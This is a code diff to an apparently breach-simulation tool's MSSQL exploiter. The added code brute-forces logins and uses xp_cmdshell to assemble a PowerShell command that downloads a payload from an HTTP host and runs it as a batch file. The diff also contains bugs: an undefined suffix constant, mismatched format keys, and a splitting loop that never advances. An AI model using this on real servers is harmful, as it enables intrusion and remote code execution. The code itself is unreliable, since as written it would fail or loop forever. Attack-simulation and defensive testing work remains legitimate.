diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index e4eaf3151..a15801d12 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -27,6 +27,12 @@ class MSSQLExploiter(HostExploiter): SQL_DEFAULT_TCP_PORT = '1433' # Temporary file that saves commands for monkey's download and execution. TMP_FILE_NAME = 'tmp_monkey.bat' + MAX_XP_CMDSHELL_SIZE = 128 + + EXPLOIT_COMMAND_PREFIX = "xp_cmdshell \">%%(payload_file_path)s" + MONKEY_DOWNLOAD_COMMAND = "powershell (new-object System.Net.WebClient)." \ + "DownloadFile(^\'%%(http_path)s^\' , ^\'%%(local_path)s^\')" def __init__(self, host): super(MSSQLExploiter, self).__init__(host) @@ -60,11 +66,18 @@ class MSSQLExploiter(HostExploiter): commands = ["xp_cmdshell \"mkdir %s\"" % get_monkey_dir_path()] MSSQLExploiter.execute_command(cursor, commands) - # Form download command in a file - commands = [ - "xp_cmdshell \"%s\"" % tmp_file_path, - "xp_cmdshell \">%s\"" % (http_path, tmp_file_path), - "xp_cmdshell \">%s\"" % (dst_path, tmp_file_path)] + # Form download command + download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': http_path, 'dst_path': dst_path} + # Form suffix + suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX % {'payload_file_path': tmp_file_path} + + exploit_command = MSSQLCommand(download_command, + prefix=MSSQLExploiter.EXPLOIT_COMMAND_PREFIX, + suffix=MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX, + max_length=MSSQLExploiter.MAX_XP_CMDSHELL_SIZE) + # Split command into chunks mssql xp_cmdshell can execute + commands = exploit_command.split_into_array_of_smaller_strings() + MSSQLExploiter.execute_command(cursor, commands) MSSQLExploiter.run_file(cursor, tmp_file_path) self.add_executed_cmd(' '.join(commands)) @@ -106,17 +119,17 @@ class MSSQLExploiter(HostExploiter): def brute_force(self, host, port, users_passwords_pairs_list): """ - Starts the brute force connection attempts and if needed then init the payload process. - Main loop starts here. + Starts the brute force connection attempts and if needed then init the payload process. + Main loop starts here. - Args: - host (str): Host ip address - port (str): Tcp port that the host listens to - users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with + Args: + host (str): Host ip address + port (str): Tcp port that the host listens to + users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with - Return: - True or False depends if the whole bruteforce and attack process was completed successfully or not - """ + Return: + True or False depends if the whole bruteforce and attack process was completed successfully or not + """ # Main loop # Iterates on users list for user, password in users_passwords_pairs_list: @@ -139,3 +152,32 @@ class MSSQLExploiter(HostExploiter): LOG.warning('No user/password combo was able to connect to host: {0}:{1}, ' 'aborting brute force'.format(host, port)) return None + + +class MSSQLCommand(object): + + def __init__(self, command, max_length, prefix="", suffix=""): + self.command = command + self.max_length = max_length + self.prefix = prefix + self.suffix = suffix + + def get_full_command(self, command): + return "{}{}{}".format(self.prefix, command, self.suffix) + + def split_into_array_of_smaller_strings(self): + remaining_command_to_split = self.command + commands = [] + while self.command_is_too_long(self.get_full_command(remaining_command_to_split)): + command_of_max_len, remaining_command = self.split_at_max_length(remaining_command_to_split) + commands.append(self.get_full_command(command_of_max_len)) + if remaining_command_to_split: + commands.append(remaining_command_to_split) + return commands + + def split_at_max_length(self, command): + substring_size = self.max_length - len(self.prefix) - len(self.command) - 1 + return self.get_full_command(command[0:substring_size]), command[substring_size:] + + def command_is_too_long(self, command): + return len(command)+len(self.prefix)+len(self.suffix) > self.max_length